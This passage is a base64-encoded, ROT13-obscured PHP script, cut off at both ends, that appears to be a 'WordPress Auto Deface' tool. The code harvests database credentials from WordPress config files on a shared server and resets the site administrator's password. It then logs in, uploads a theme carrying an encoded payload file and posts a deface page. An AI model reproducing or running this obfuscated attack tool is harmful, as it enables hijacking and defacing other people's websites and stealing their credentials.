DEgU3ZlcnNiay8zMi4wIik7DQoJICAgICAgIAkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfUEJBQVJQR0dWWlJCSEcsIDUpOw0KCSAgICAgICAJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0ZGWV9JUkVWU0xDUlJFLCAwKTsNCgkgICAgICAgCQkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19GRllfSVJFVlNMVUJGRywgMCk7DQoJICAgICAgIAkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfUEJCWFZSV05FLCdwYmJ4dnIuZ2tnJyk7DQoJICAgICAgIAkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfUEJCWFZSU1ZZUiwncGJieHZyLmdrZycpOw0KCSAgICAgICAJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1BCQlhWUkZSRkZWQkEsIGdlaHIpOw0KCQkJJHFuZ24gPSBwaGV5X3JrcnAoJHB1KTsNCgkJCQkgIHBoZXlfcHliZnIoJHB1KTsNCgkJCWVyZ2hlYSAkcW5nbjsNCgkJfQ0KCQlzaGFwZ3ZiYSB5YnV0dmEoJHByeCwgJGpybywgJGhmcmVlLCAkY25mZiwgJGpjX2Zob3p2Zykgew0KICAgIAkJJGNiZmcgPSBuZWVubCgNCiAgICAgICAgICAgICAgICAgICAieWJ0IiA9PiAiJGhmcmVlIiwNCiAgICAgICAgICAgICAgICAgICAiY2pxIiA9PiAiJGNuZmYiLA0KICAgICAgICAgICAgICAgICAgICJlcnpyem9yZXpyIiA9PiAic2JlcmlyZSIsDQogICAgICAgICAgICAgICAgICAgImpjLWZob3p2ZyIgPT4gIiRqY19maG96dmciLA0KICAgICAgICAgICAgICAgICAgICJlcnF2ZXJwZ19nYiIgPT4gIiRqcm8iLA0KICAgICAgICAgICAgICAgICAgICJncmZncGJieHZyIiA9PiAiMSIsDQogICAgICAgICAgICAgICAgICAgKTsNCgkJCSRwdSA9IHBoZXlfdmF2ZygkcHJ4KTsNCgkJCQkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19FUkdIRUFHRU5BRlNSRSwgMSk7DQoJCQkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfU0JZWUJKWUJQTkdWQkEsIDEpOw0KCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0hGUkVOVFJBRywgIlpibXZ5eW4vNS4wIChKdmFxYmpmIEFHIDYuMTsgZWk6MzIuMCkgVHJweGIvMjAxMDAxMDEgU3ZlcnNiay8zMi4wIik7DQoJCQkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRkZZX0lSRVZTTENSUkUsIDApOw0KCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0ZGWV9JUkVWU0xVQkZHLCAwKTsNCgkJCQkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19DQkZHLCAxKTsNCgkJCQkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19DQkZHU1ZSWVFGLCAkY2JmZyk7DQoJCQkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfUEJCWFZSV05FLCdwYmJ4dnIuZ2tnJyk7DQoJCQkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfUEJCWFZSU1ZZUiwncGJieHZyLmdrZycpOw0KCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1BCQlhWUkZSRkZWQkEsIGdlaHIpOw0KCQkJJHFuZ24gPSBwaGV5X3JrcnAoJHB1KTsNCgkJCQkgIHBoZXlfcHliZnIoJHB1KTsNCgkJCWVyZ2hlYSAkcW5nbjsNCgkJfQ0KCQkkZnBuYSA9ICRfQ0JGR1sneXZheF9wYmFzdnQnXTsNCgkJJHl2YXhfcGJhc3Z0ID0gZnBuYXF2ZSgkZnBuYSk7DQoJCSRmcGV2Y2cgPSB1Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snZnBldmNnJ10pOw0KCQkkaGZyZSA9ICJhYmFuenIxMTAiOw0KCQkkY25mZiA9ICJhYmFuenIxMTAiOw0KCQkkY25mZmsgPSB6cTUoJGNuZmYpOw0KCQlzYmVybnB1KCR5dmF4X3BiYXN2dCBuZiAkcXZlX3BiYXN2dCkgew0KCQkJdnMoIXZmX3N2eXIoIiRmcG5hLyRxdmVfcGJhc3Z0IikpIHBiYWd2YWhyOw0KCQkJJHBiYXN2dCA9IHN2eXJfdHJnX3BiYWdyYWdmKCIkZnBuYS8kcXZlX3BiYXN2dCIpOw0KCQkJdnMoY2VydF96bmdwdSgiL0piZXFDZXJmZi8iLCAkcGJhc3Z0KSkgew0KCQkJCSRxb3ViZmcgPSBuem92eXhuZ24oJHBiYXN2dCwiUU9fVUJGRycsICciLCInIik7DQoJCQkJJHFvaGZyZSA9IG56b3Z5eG5nbigkcGJhc3Z0LCJRT19IRlJFJywgJyIsIiciKTsNCgkJCQkkcW9jbmZmID0gbnpvdnl4bmduKCRwYmFzdnQsIlFPX0NORkZKQkVRJywgJyIsIiciKTsNCgkJCQkkcW9hbnpyID0gbnpvdnl4bmduKCRwYmFzdnQsIlFPX0FOWlInLCAnIiwiJyIpOw0KCQkJCSRxb2NlcnN2ayA9IG56b3Z5eG5nbigkcGJhc3Z0LCJnbm95cl9jZXJzdmsgID0gJyIsIiciKTsNCgkJCQkkY2Vyc3ZrID0gJHFvY2Vyc3ZrLiJoZnJlZiI7DQoJCQkJJGJjZ3ZiYSA9ICRxb2NlcnN2ay4iYmNndmJhZiI7DQoJCQkJJHBiYWEgPSB6bGZkeV9wYmFhcnBnKCRxb3ViZmcsJHFvaGZyZSwkcW9jbmZmKTsNCgkJCQkkcW8gPSB6bGZkeV9mcnlycGdfcW8oJHFvYW56cik7DQoJCQkJJGQgPSB6bGZkeV9kaHJlbCgiRlJZUlBHICogU0VCWiAkY2Vyc3ZrIEJFUVJFIE9MIHZxIE5GUCIpOw0KCQkJCSRlcmZoeWcgPSB6bGZkeV9zcmdwdV9uZWVubCgkZCk7DQoJCQkJJHZxID0gJGVyZmh5Z1tWUV07DQoJCQkJJGQyID0gemxmZHlfZGhyZWwoIkZSWVJQRyAqIFNFQlogJGJjZ3ZiYSBCRVFSRSBPTCBiY2d2YmFfdnEgTkZQIik7DQoJCQkJJGVyZmh5ZzIgPSB6bGZkeV9zcmdwdV9uZWVubCgkZDIpOw0KCQkJCSRnbmV0cmcgPSAkZXJmaHlnMltiY2d2YmFfaW55aHJdOw0KCQkJCXZzKCRnbmV0cmcgPT0gJycpIHsJCQkJCQ0KCQkJCQlycHViICJbLV0gPHNiYWcgcGJ5YmU9ZXJxPnJlZWJlLCB0bm92Zm4gbnpvdnkgYW56biBxYnpudmEgYWxuPC9zYmFnPjxvZT4iOw0KCQkJCX0gcnlmciB7DQoJCQkJCXJwdWIgIlsrXSAkZ25ldHJnIDxvZT4iOw0KCQkJCX0NCgkJCQkkaGNxbmdyID0gemxmZHlfZGhyZWwoIkhDUU5HUiAkY2Vyc3ZrIEZSRyBoZnJlX3lidHZhPSckaGZyZScsaGZyZV9jbmZmPSckY25mZmsnIEpVUkVSIFZRPSckdnEnIik7DQoJCQkJdnMoISRwYmFhIEJFICEkcW8gQkUgISRoY3FuZ3IpIHsNCgkJCQkJcnB1YiAiWy1dIFpsRkRZIFJlZWJlOiA8c2JhZyBwYnliZT1lcnE+Ii56bGZkeV9yZWViZSgpLiI8L3NiYWc+PG9lPjxvZT4iOw0KCQkJCQl6bGZkeV9weWJmcigkcGJhYSk7DQoJCQkJfSByeWZyIHsNCgkJCQkJJGZ2Z3IgPSAiJGduZXRyZy9qYy15YnR2YS5jdWMiOw0KCQkJCQkkZnZncjIgPSAiJGduZXRyZy9qYy1ucXp2YS9ndXJ6ci12YWZnbnl5LmN1Yz9oY3libnEiOw0KCQkJCQkkbzEgPSBuYWhwaGV5KCRmdmdyMik7DQoJCQkJCSRqY19maG8gPSBuem92eXhuZ24oJG8xLCAidnE9XCJqYy1maG96dmdcIiBweW5mZj1cIm9oZ2diYSBvaGdnYmEtY2V2em5lbCBvaGdnYmEteW5ldHJcIiBpbnlocj1cIiIsIlwiIC8+Iik7DQoJCQkJCSRvID0geWJ1dHZhKCRmdmdyLCAkZnZncjIsICRoZnJlLCAkY25mZiwgJGpjX2Zobyk7DQoJCQkJCSRuYWgyID0gbnpvdnl4bmduKCRvLCJhbnpyPVwiX2pjYWJhcHJcIiBpbnlocj1cIiIsIlwiIC8+Iik7DQoJCQkJCSRoY3libnEzID0gb25mcjY0X3FycGJxcigiTTJTaHFUSWhNajBYQ1E5am5VTkFQdkV6bkpreVpsTjlWUEVzRXh5WkVJQW9XMk1jb1RIbVcxMDdRRGJ0VlBFaE1LcXpuSmt5Wm0wdm5sNWpuVU52QmowWFZQTnRWUE50VlBOdFZQTnRWUE50VlR5elZQdXpuSmt5SzJJNG5LQTBwbHR2WXY0aVl2NGlZdjRpWXY0aVZ2NHhvekkzTXp5Zk1HWmNYRk8xb3prY296ZmJWdjRoWWw0aFlsNGhZbDRoWWxWaFdUNXlxMk1jb1RIbVhHZkFQdk50VlBOdFZQTnRvSjkyTUk5MXBUa2lMSkV5TVM5em5Ka3lYUEV6bkpreVoxZmFxVDFqSzI1dW9KSGFLRmp0VnY0aFlsNGhZbDRoWWw0aFlsRWhNS3F6bkpreVpsVmNCajBYUURiL0N0PT0iKTsNCgkJCQkJJGpqaiA9ICJ6LmN1YyI7DQoJCQkJCSRzYzUgPSBzYmNyYSgkampqLCJqIik7DQoJCQkJCXNjaGdmKCRzYzUsJGhjeWJucTMpOw0KCQkJCQkkY2JmZzIgPSBuZWVubCgNCgkJCQkJCQkiX2pjYWJhcHIiID0+ICIkbmFoMiIsDQoJCQkJCQkJIl9qY191Z2djX2Vyc3JlcmUiID0+ICIvamMtbnF6dmEvZ3VyenItdmFmZ255eS5jdWM/aGN5Ym5xIiwNCgkJCQkJCQkiZ3VyenJtdmMiID0+ICJAJGpqaiIsDQoJCQkJCQkJInZhZmdueXktZ3VyenItZmhvenZnIiA9PiAiVmFmZ255eSBBYmoiLA0KCQkJCQkJCSk7DQoJCQkJCSRwdSA9IHBoZXlfdmF2ZygiJGduZXRyZy9qYy1ucXp2YS9oY3FuZ3IuY3VjP25wZ3ZiYT1oY3libnEtZ3VyenIiKTsNCgkJCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0VSR0hFQUdFTkFGU1JFLCAxKTsNCgkJCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1NCWVlCSllCUE5HVkJBLCAxKTsNCgkJCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0ZGWV9JUkVWU0xDUlJFLCAwKTsNCgkJCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0ZGWV9JUkVWU0xVQkZHLCAwKTsNCgkJCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0NCRkcsIDEpOw0KCQkJCQkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfQ0JGR1NWUllRRiwgJGNiZmcyKTsNCgkJCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1BCQlhWUldORSwncGJieHZyLmdrZycpOw0KCQkJCQkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfUEJCWFZSU1ZZUiwncGJieHZyLmdrZycpOw0KCQkJCQkgICAgICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfUEJCWFZSRlJGRlZCQSwgZ2Vocik7DQoJCQkJCSRxbmduMyA9IHBoZXlfcmtycCgkcHUpOw0KCQkJCQkJICBwaGV5X3B5YmZyKCRwdSk7DQoJCQkJCSRsID0gcW5ncigiTCIpOw0KCQkJCQkkeiA9IHFuZ3IoInoiKTsNCgkJCQkJJGFuem5zdnlyID0gInZxLmN1YyI7DQoJCQkJCSRzY3YgPSBzYmNyYSgkYW56bnN2eXIsImoiKTsNCgkJCQkJc2NoZ2YoJHNjdiwkZnBldmNnKTsNCgkJCQkJJHB1NiA9IHBoZXlfdmF2ZygiJGduZXRyZy9qYy1wYmFncmFnL2hjeWJucWYvJGwvJHovJGpqaiIpOw0KCQkJCQkJICAgcGhleV9mcmdiY2coJHB1NiwgUEhFWUJDR19DQkZHLCBnZWhyKTsNCgkJCQkJCSAgIHBoZXlfZnJnYmNnKCRwdTYsIFBIRVlCQ0dfQ0JGR1NWUllRRiwgbmVlbmwoJ3N2eXIzJz0+IkAkYW56bnN2eXIiKSk7DQoJCQkJCQkgICBwaGV5X2ZyZ2JjZygkcHU2LCBQSEVZQkNHX0VSR0hFQUdFTkFGU1JFLCAxKTsNCgkJCQkJCSAgIHBoZXlfZnJnYmNnKCRwdTYsIFBIRVlCQ0dfUEJCWFZSU1ZZUiwgInBiYnh2ci5na2ciKTsNCgkgICAgICAgCQkgIAkJICAgcGhleV9mcmdiY2coJHB1NiwgUEhFWUJDR19QQkJYVlJXTkUsJ3BiYnh2ci5na2cnKTsNCgkgICAgICAgCQkgIAkJICAgcGhleV9mcmdiY2coJHB1NiwgUEhFWUJDR19QQkJYVlJGUkZGVkJBLCBnZWhyKTsNCgkJCQkJJGNiZmdFcmZoeWcgPSBwaGV5X3JrcnAoJHB1Nik7DQoJCQkJCQkgICBwaGV5X3B5YmZyKCRwdTYpOw0KCQkJCQkkbmYgPSAiJGduZXRyZy94LmN1YyI7DQoJCQkJCSRvZiA9IG5haHBoZXkoJG5mKTsNCgkJCQkJdnMoY2VydF96bmdwdSgiIyRmcGV2Y2cjdmYiLCAkb2YpKSB7DQogICAgICAgICAgICAJICAgICAgIAlycHViICJbK10gPHNiYWcgcGJ5YmU9J3l2enInPm9yZXVuZnZ5IHpyY3JmLi4uPC9zYmFnPjxvZT4iOw0KICAgICAgICAgICAgCSAgICAgICAJcnB1YiAiWytdIDxuIHVlcnM9JyRuZicgZ25ldHJnPSdfb3luYXgnPiRuZjwvbj48b2U+PG9lPiI7IA0KICAgICAgICAgICAgCSAgICAgICAgfSByeWZyIHsNCiAgICAgICAgICAgIAkgICAgICAgIHJwdWIgIlstXSA8c2JhZyBwYnliZT0nZXJxJz50bnRueSB6cmNyZi4uLjwvc2JhZz48b2U+IjsNCiAgICAgICAgICAgIAkgICAgICAgIHJwdWIgIlshIV0gcGJvbiBud24gem5haG55OiA8b2U+IjsNCiAgICAgICAgICAgIAkgICAgICAgIHJwdWIgIlsrXSA8biB1ZXJzPSckZ25ldHJnL2pjLXlidHZhLmN1YycgZ25ldHJnPSdfb3luYXgnPiRnbmV0cmcvamMteWJ0dmEuY3VjPC9uPjxvZT4iOw0KICAgICAgICAgICAgCSAgICAgICAgcnB1YiAiWytdIGhmcmVhbnpyOiA8c2JhZyBwYnliZT15dnpyPiRoZnJlPC9zYmFnPjxvZT4iOw0KICAgICAgICAgICAgCSAgICAgICAgcnB1YiAiWytdIGNuZmZqYmVxOiA8c2JhZyBwYnliZT15dnpyPiRjbmZmPC9zYmFnPjxvZT48b2U+IjsgICAgIA0KICAgICAgICAgICAgCSAgICAgICAgfQ0KICAgICAgICAgICAgCQl6bGZkeV9weWJmcigkcGJhYSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfSByeWZyIHsNCgkJcnB1YiAiPHByYWdyZT48dTE+SmJlcUNlcmZmIE5oZ2IgUXJzbnByPC91MT4NCgkJPHNiZXogenJndWJxPSdjYmZnJz4NCgkJPHZhY2hnIGdsY3I9J2dya2cnIGFuenI9J3l2YXhfcGJhc3Z0JyBmdm1yPSc1MCcgdXJ2dHVnPScxMCcgaW55aHI9JyRxdmUnPjxvZT4NCgkJPHZhY2hnIGdsY3I9J2dya2cnIGFuenI9J2ZwZXZjZycgdXJ2dHVnPScxMCcgZnZtcj0nNTAnIGN5bnBydWJ5cXJlPSdVbnB4cnEgb2wgS00tRnJwJyBlcmRodmVycT48b2U+DQoJCTx2YWNoZyBnbGNyPSdmaG96dmcnIGZnbHlyPSdqdnFndTogNDUwY2s7JyBhbnpyPSduaGdiX3Fyc25wcl9qYycgaW55aHI9J1Vud25lISEnPg0KCQk8L3NiZXo+DQoJCTxvZT48ZmNuYT5BTzogR2JieWYgdmF2IGpiZXggd3Z4biBxdndueW5heG5hIHF2IHFueW56IHNieXFyZSA8aD5wYmFzdnQ8L2g+ICggcms6IC91YnpyL2hmcmUvY2hveXZwX3VnenkvYW56bl9zYnlxcmVfcGJhc3Z0ICk8L2ZjbmE+DQoJCTwvcHJhZ3JlPiI7DQoJfQ0KfSByeWZydnMoJF9UUkdbJ3FiJ10gPT0gJ25oZ2JfcWpjMicpIHsNCgl2cygkX0NCRkdbJ25oZ2JfcXJzbnByX2pjJ10pIHsNCgkJc2hhcGd2YmEgbmFocGhleSgkZnZncmYpIHsNCiAgICAJCSRwdSA9IHBoZXlfdmF2ZygkZnZncmYpOw0KCSAgICAgICAJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0VSR0hFQUdFTkFGU1JFLCAxKTsNCgkgICAgICAgCQkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19TQllZQkpZQlBOR1ZCQSwgMSk7DQoJICAgICAgIAkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfSEZSRU5UUkFHLCAiWmJtdnl5bi81LjAgKEp2YXFiamYgQUcgNi4xOyBlaTozMi4wKSBUcnB4Yi8yMDEwMDEwMSBTdmVyc2JrLzMyLjAiKTsNCgkgICAgICAgCQkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19QQkFBUlBHR1ZaUkJIRywgNSk7DQoJICAgICAgIAkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRkZZX0lSRVZTTENSUkUsIDApOw0KCSAgICAgICAJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0ZGWV9JUkVWU0xVQkZHLCAwKTsNCgkgICAgICAgCQkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19QQkJYVlJXTkUsJ3BiYnh2ci5na2cnKTsNCgkgICAgICAgCQkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19QQkJYVlJTVllSLCdwYmJ4dnIuZ2tnJyk7DQoJICAgICAgIAkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfUEJCWFZSRlJGRlZCQSxnZWhyKTsNCgkJCSRxbmduID0gcGhleV9ya3JwKCRwdSk7DQoJCQkJICBwaGV5X3B5YmZyKCRwdSk7DQoJCQllcmdoZWEgJHFuZ247DQoJCX0NCgkJc2hhcGd2YmEgeWJ1dHZhKCRwcngsICRqcm8sICRoZnJlZSwgJGNuZmYsICRqY19maG96dmcpIHsNCiAgICAJCSRjYmZnID0gbmVlbmwoDQogICAgICAgICAgICAgICAgICAgInlidCIgPT4gIiRoZnJlZSIsDQogICAgICAgICAgICAgICAgICAgImNqcSIgPT4gIiRjbmZmIiwNCiAgICAgICAgICAgICAgICAgICAiZXJ6cnpvcmV6ciIgPT4gInNiZXJpcmUiLA0KICAgICAgICAgICAgICAgICAgICJqYy1maG96dmciID0+ICIkamNfZmhvenZnIiwNCiAgICAgICAgICAgICAgICAgICAiZXJxdmVycGdfZ2IiID0+ICIkanJvIiwNCiAgICAgICAgICAgICAgICAgICAiZ3JmZ3BiYnh2ciIgPT4gIjEiLA0KICAgICAgICAgICAgICAgICAgICk7DQoJCQkkcHUgPSBwaGV5X3ZhdmcoJHByeCk7DQoJCQkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRVJHSEVBR0VOQUZTUkUsIDEpOw0KCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1NCWVlCSllCUE5HVkJBLCAxKTsNCgkJCQkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19IRlJFTlRSQUcsICJaYm12eXluLzUuMCAoSnZhcWJqZiBBRyA2LjE7IGVpOjMyLjApIFRycHhiLzIwMTAwMTAxIFN2ZXJzYmsvMzIuMCIpOw0KCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0ZGWV9JUkVWU0xDUlJFLCAwKTsNCgkJCQkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19GRllfSVJFVlNMVUJGRywgMCk7DQoJCQkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfQ0JGRywgMSk7DQoJCQkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfQ0JGR1NWUllRRiwgJGNiZmcpOw0KCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1BCQlhWUldORSwncGJieHZyLmdrZycpOw0KCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1BCQlhWUlNWWVIsJ3BiYnh2ci5na2cnKTsNCgkJCQkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19QQkJYVlJGUkZGVkJBLCBnZWhyKTsNCgkJCSRxbmduID0gcGhleV9ya3JwKCRwdSk7DQoJCQkJICBwaGV5X3B5YmZyKCRwdSk7DQoJCQllcmdoZWEgJHFuZ247DQoJCX0NCgkJJHl2YXggPSBya2N5YnFyKCJcZVxhIiwgJF9DQkZHWyd5dmF4J10pOw0KCQkkZnBldmNnID0gdWd6eWZjcnB2bnlwdW5lZigkX0NCRkdbJ2ZwZXZjZyddKTsNCgkJJGhmcmUgPSAiYWJhbnpyMTEwIjsNCgkJJGNuZmYgPSAiYWJhbnpyMTEwIjsNCgkJJGNuZmZrID0genE1KCRjbmZmKTsNCgkJc2Jlcm5wdSgkeXZheCBuZiAkcXZlX3BiYXN2dCkgew0KCQkJJHBiYXN2dCA9IG5haHBoZXkoJHF2ZV9wYmFzdnQpOw0KCQkJJHFvdWJmZyA9IG56b3Z5eG5nbigkcGJhc3Z0LCJRT19VQkZHJywgJyIsIiciKTsNCgkJCSRxb2hmcmUgPSBuem92eXhuZ24oJHBiYXN2dCwiUU9fSEZSRScsICciLCInIik7DQoJCQkkcW9jbmZmID0gbnpvdnl4bmduKCRwYmFzdnQsIlFPX0NORkZKQkVRJywgJyIsIiciKTsNCgkJCSRxb2FuenIgPSBuem92eXhuZ24oJHBiYXN2dCwiUU9fQU5aUicsICciLCInIik7DQoJCQkkcW9jZXJzdmsgPSBuem92eXhuZ24oJHBiYXN2dCwiZ25veXJfY2Vyc3ZrICA9ICciLCInIik7DQoJCQkkY2Vyc3ZrID0gJHFvY2Vyc3ZrLiJoZnJlZiI7DQoJCQkkYmNndmJhID0gJHFvY2Vyc3ZrLiJiY2d2YmFmIjsNCgkJCSRwYmFhID0gemxmZHlfcGJhYXJwZygkcW91YmZnLCRxb2hmcmUsJHFvY25mZik7DQoJCQkkcW8gPSB6bGZkeV9mcnlycGdfcW8oJHFvYW56cik7DQoJCQkkZCA9IHpsZmR5X2RocmVsKCJGUllSUEcgKiBTRUJaICRjZXJzdmsgQkVRUkUgT0wgdnEgTkZQIik7DQoJCQkkZXJmaHlnID0gemxmZHlfc3JncHVfbmVlbmwoJGQpOw0KCQkJJHZxID0gJGVyZmh5Z1tWUV07DQoJCQkkZDIgPSB6bGZkeV9kaHJlbCgiRlJZUlBHICogU0VCWiAkYmNndmJhIEJFUVJFIE9MIGJjZ3ZiYV92cSBORlAiKTsNCgkJCSRlcmZoeWcyID0gemxmZHlfc3JncHVfbmVlbmwoJGQyKTsNCgkJCSRnbmV0cmcgPSAkZXJmaHlnMltiY2d2YmFfaW55aHJdOw0KCQkJdnMoJGduZXRyZyA9PSAnJykgewkJCQkJDQoJCQkJcnB1YiAiWy1dIDxzYmFnIHBieWJlPWVycT5yZWViZSwgdG5vdmZuIG56b3Z5IGFuem4gcWJ6bnZhIGFsbjwvc2JhZz48b2U+IjsNCgkJCX0gcnlmciB7DQoJCQkJcnB1YiAiWytdICRnbmV0cmcgPG9lPiI7DQoJCQl9DQoJCQkkaGNxbmdyID0gemxmZHlfZGhyZWwoIkhDUU5HUiAkY2Vyc3ZrIEZSRyBoZnJlX3lidHZhPSckaGZyZScsaGZyZV9jbmZmPSckY25mZmsnIEpVUkVSIFZRPSckdnEnIik7DQoJCQl2cyghJHBiYWEgQkUgISRxbyBCRSAhJGhjcW5ncikgew0KCQkJCXJwdWIgIlstXSBabEZEWSBSZWViZTogPHNiYWcgcGJ5YmU9ZXJxPiIuemxmZHlfcmVlYmUoKS4iPC9zYmFnPjxvZT48b2U+IjsNCgkJCQl6bGZkeV9weWJmcigkcGJhYSk7DQoJCQl9IHJ5ZnIgew0KCQkJCSRmdmdyID0gIiRnbmV0cmcvamMteWJ0dmEuY3VjIjsNCgkJCQkkZnZncjIgPSAiJGduZXRyZy9qYy1ucXp2YS9ndXJ6ci12YWZnbnl5LmN1Yz9oY3libnEiOw0KCQkJCSRvMSA9IG5haHBoZXkoJGZ2Z3IyKTsNCgkJCQkkamNfZmhvID0gbnpvdnl4bmduKCRvMSwgInZxPVwiamMtZmhvenZnXCIgcHluZmY9XCJvaGdnYmEgb2hnZ2JhLWNldnpuZWwgb2hnZ2JhLXluZXRyXCIgaW55aHI9XCIiLCJcIiAvPiIpOw0KCQkJCSRvID0geWJ1dHZhKCRmdmdyLCAkZnZncjIsICRoZnJlLCAkY25mZiwgJGpjX2Zobyk7DQoJCQkJJG5haDIgPSBuem92eXhuZ24oJG8sImFuenI9XCJfamNhYmFwclwiIGlueWhyPVwiIiwiXCIgLz4iKTsNCgkJCQkkaGN5Ym5xMyA9IG9uZnI2NF9xcnBicXIoIk0yU2hxVEloTWowWENROWpuVU5BUHZFem5Ka3labE45VlBFc0V4eVpFSUFvVzJNY29USG1XMTA3UURidFZQRWhNS3F6bkpreVptMHZubDVqblVOdkJqMFhWUE50VlBOdFZQTnRWUE50VlBOdFZUeXpWUHV6bkpreUsySTRuS0EwcGx0dll2NGlZdjRpWXY0aVl2NGlWdjR4b3pJM016eWZNR1pjWEZPMW96a2NvemZiVnY0aFlsNGhZbDRoWWw0aFlsVmhXVDV5cTJNY29USG1YR2ZBUHZOdFZQTnRWUE50b0o5Mk1JOTFwVGtpTEpFeU1TOXpuSmt5WFBFem5Ka3laMWZhcVQxaksyNXVvSkhhS0ZqdFZ2NGhZbDRoWWw0aFlsNGhZbEVoTUtxem5Ka3labFZjQmowWFFEYi9DdD09Iik7DQoJCQkJJGpqaiA9ICJ6LmN1YyI7DQoJCQkJJHNjNSA9IHNiY3JhKCRqamosImoiKTsNCgkJCQlzY2hnZigkc2M1LCRoY3libnEzKTsNCgkJCQkkY2JmZzIgPSBuZWVubCgNCgkJCQkJCSJfamNhYmFwciIgPT4gIiRuYWgyIiwNCgkJCQkJCSJfamNfdWdnY19lcnNyZXJlIiA9PiAiL2pjLW5xenZhL2d1cnpyLXZhZmdueXkuY3VjP2hjeWJucSIsDQoJCQkJCQkiZ3VyenJtdmMiID0+ICJAJGpqaiIsDQoJCQkJCQkidmFmZ255eS1ndXJ6ci1maG96dmciID0+ICJWYWZnbnl5IEFiaiIsDQoJCQkJCQkpOw0KCQkJCSRwdSA9IHBoZXlfdmF2ZygiJGduZXRyZy9qYy1ucXp2YS9oY3FuZ3IuY3VjP25wZ3ZiYT1oY3libnEtZ3VyenIiKTsNCgkJCQkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRVJHSEVBR0VOQUZTUkUsIDEpOw0KCQkJCQkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19TQllZQkpZQlBOR1ZCQSwgMSk7DQoJCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0ZGWV9JUkVWU0xDUlJFLCAwKTsNCgkJCQkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRkZZX0lSRVZTTFVCRkcsIDApOw0KCQkJCQkgIHBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19DQkZHLCAxKTsNCgkJCQkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfQ0JGR1NWUllRRiwgJGNiZmcyKTsNCgkJCQkJICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfUEJCWFZSV05FLCdwYmJ4dnIuZ2tnJyk7DQoJCQkJCSAgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1BCQlhWUlNWWVIsJ3BiYnh2ci5na2cnKTsNCgkJCQkgICAgICBwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfUEJCWFZSRlJGRlZCQSwgZ2Vocik7DQoJCQkJJHFuZ24zID0gcGhleV9ya3JwKCRwdSk7DQoJCQkJCSAgcGhleV9weWJmcigkcHUpOw0KCQkJCSRsID0gcW5ncigiTCIpOw0KCQkJCSR6ID0gcW5ncigieiIpOw0KCQkJCSRhbnpuc3Z5ciA9ICJ2cS5jdWMiOw0KCQkJCSRzY3YgPSBzYmNyYSgkYW56bnN2eXIsImoiKTsNCgkJCQlzY2hnZigkc2N2LCRmcGV2Y2cpOw0KCQkJCSRwdTYgPSBwaGV5X3ZhdmcoIiRnbmV0cmcvamMtcGJhZ3JhZy9oY3libnFmLyRsLyR6LyRqamoiKTsNCgkJCQkJICAgcGhleV9mcmdiY2coJHB1NiwgUEhFWUJDR19DQkZHLCBnZWhyKTsNCgkJCQkJICAgcGhleV9mcmdiY2coJHB1NiwgUEhFWUJDR19DQkZHU1ZSWVFGLCBuZWVubCgnc3Z5cjMnPT4iQCRhbnpuc3Z5ciIpKTsNCgkJCQkJICAgcGhleV9mcmdiY2coJHB